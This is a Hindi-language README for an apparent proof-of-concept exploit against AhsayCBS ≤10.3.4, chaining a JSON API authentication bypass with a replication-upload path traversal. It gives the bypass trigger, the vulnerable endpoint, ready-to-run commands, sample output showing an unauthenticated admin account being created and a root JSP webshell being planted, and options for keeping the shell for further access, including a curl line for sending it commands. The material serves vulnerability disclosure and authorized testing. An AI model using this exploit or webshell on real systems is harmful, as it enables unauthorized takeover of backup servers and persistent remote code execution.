AhsayCBS प्रमाणीकरण बायपास और RCE

CVE-2026-105133 + CVE-2026-105134 — AhsayCBS ≤10.3.4 में अनधिकृत रिमोट कोड निष्पादन

ब्लॉग पोस्ट

मूल कारण, शोषण और समझौते के संकेतकों को कवर करने वाला तकनीकी विश्लेषण Horizon3.ai हमला अनुसंधान ब्लॉग पर उपलब्ध है:

https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/

अवलोकन

AhsayCBS संस्करण 10.3.4 और उससे पहले के संस्करण JSON API और प्रतिकृति रिसीवर मॉड्यूल में दो श्रृंखलाबद्ध प्रमाणीकरण बायपास और पथ ट्रैवर्सल खामियों के माध्यम से अनधिकृत रिमोट कोड निष्पादन के प्रति संवेदनशील हैं। एक हमलावर बिना क्रेडेंशियल के पूर्ण प्रशासनिक नियंत्रण या सीधे RCE प्राप्त कर सकता है।

भेद्यता विवरण

CVE-2026-105133: JSON API में प्रमाणीकरण बायपास

com.ahsay.obs.api.json.JSONApi.execute() विधि checkSysPwd() क्रेडेंशियल सत्यापन को छोड़ देती है जब JSON अनुरोध बॉडी में {"FromServlet":"Y"} होता है। यह किसी भी अनधिकृत हमलावर को बिना क्रेडेंशियल के प्रत्येक JSON API क्रिया को आमंत्रित करने की अनुमति देता है।

प्रभाव: संवेदनशील कार्यों तक अनधिकृत JSON API पहुँच।

CVE-2026-105134: प्रतिकृति अपलोड में पथ ट्रैवर्सल

प्रतिकृति रिसीवर फ़ाइल अपलोड एंडपॉइंट (PUT /rps/obs7/rpsfile/upload) हमलावर-नियंत्रित UserHome और TopDir हेडर से getReplicatedPath() के माध्यम से लेखन पथ का निर्माण करता है बिना com.ahsay.c पथ डेनीलिस्ट लागू किए। एक हमलावर निष्पादन योग्य JSP फ़ाइलें अपलोड करने के लिए Tomcat की वेब-सर्व्ड निर्देशिका (../../webapps/) में ट्रैवर्स कर सकता है।

शोषण मोड

मोड 1: एडमिन टेकओवर (डिफ़ॉल्ट)

एक नया सिस्टम प्रशासक खाता बनाने के लिए प्रमाणीकरण बायपास का उपयोग करता है। किसी भी AhsayCBS इंस्टॉलेशन पर काम करता है, चाहे लाइसेंसिंग या प्रतिकृति कॉन्फ़िगरेशन कुछ भी हो।

python3 ahsay_rce_poc.py --url https://target.example.com

आउटपुट:

AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN

[+] Admin credentials
      Console : https://target.example.com/cbs/
      Username: svc_abcdef
      Password: TK$#m9q@2pL!xR4vN
      Role    : ADMIN

[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.

मोड 2: रेप्लिकेशन RCE (--replication)

रेप्लिकेशन रिसीवर में पाथ ट्रैवर्सल का उपयोग करके एक प्रमाणित वेबशेल अपलोड करता है। इसके लिए लक्ष्य का लाइसेंस प्राप्त और रेप्लिकेशन रिसीवर के रूप में कॉन्फ़िगर होना आवश्यक है। सेवा खाते के रूप में RCE प्राप्त करता है।

python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id

आउटपुट:

AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
      uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.

इंस्टॉलेशन

pip install requests

उपयोग

बुनियादी पहचान

बिना कोई बदलाव किए परीक्षण करें कि लक्ष्य असुरक्षित है या नहीं:

python3 ahsay_rce_poc.py --url https://target.example.com --check

एडमिन टेकओवर

एक नया प्रशासनिक खाता बनाएँ:

# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com

# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
  --admin-user admin_user \
  --admin-pass 'P@ssw0rd123'

# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR

Replication RCE

एक अस्थायी webshell के माध्यम से कमांड निष्पादित करें:

# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id

# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
  --no-cleanup \
  --secret mysecret123 \
  --shell-name cmd.jsp

# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'

अतिरिक्त विकल्प

General:
  -u, --url URL              Target base URL (required)
  -t, --timeout SECONDS      HTTP timeout (default: 30)
  -k, --insecure            Ignore TLS cert errors (default: on)
  --check                   Detect vulnerability without exploitation
  --no-cleanup              Leave artifacts in place for further access

Admin Takeover:
  --admin-user USER         Username to create (default: random)
  --admin-pass PASS         Password to set (default: random strong)
  --role ROLE               User role: ADMIN, OPERATOR, etc. (default: ADMIN)

Replication RCE:
  --replication             Use replication RCE mode (requires licensed receiver)
  -c, --cmd COMMAND         Command to execute
  -r, --install-root PATH   AhsayCBS install directory (default: /opt/AhsayCBS)
  -w, --webapp NAME         Web app to upload JSP into (default: rps)
  --secret HEX              Webshell auth secret (default: random)
  --shell-name NAME         Webshell filename (default: random)

नवीनतम सुरक्षा अनुसंधान के लिए Horizon3.ai Attack Team का अनुसरण करें

Horizon3 Attack Team

अस्वीकरण

"यह सॉफ़्टवेयर विशुद्ध रूप से शैक्षणिक अनुसंधान के उद्देश्यों और प्रभावी रक्षात्मक तकनीकों के विकास के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए करने का इरादा नहीं है, सिवाय उस स्थिति के जहाँ स्पष्ट रूप से अधिकृत किया गया हो।" परियोजना अनुरक्षक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं। जिम्मेदारी से उपयोग करें।

AhsayCBS-Auth-Bypass-RCE

सबसे लोकप्रिय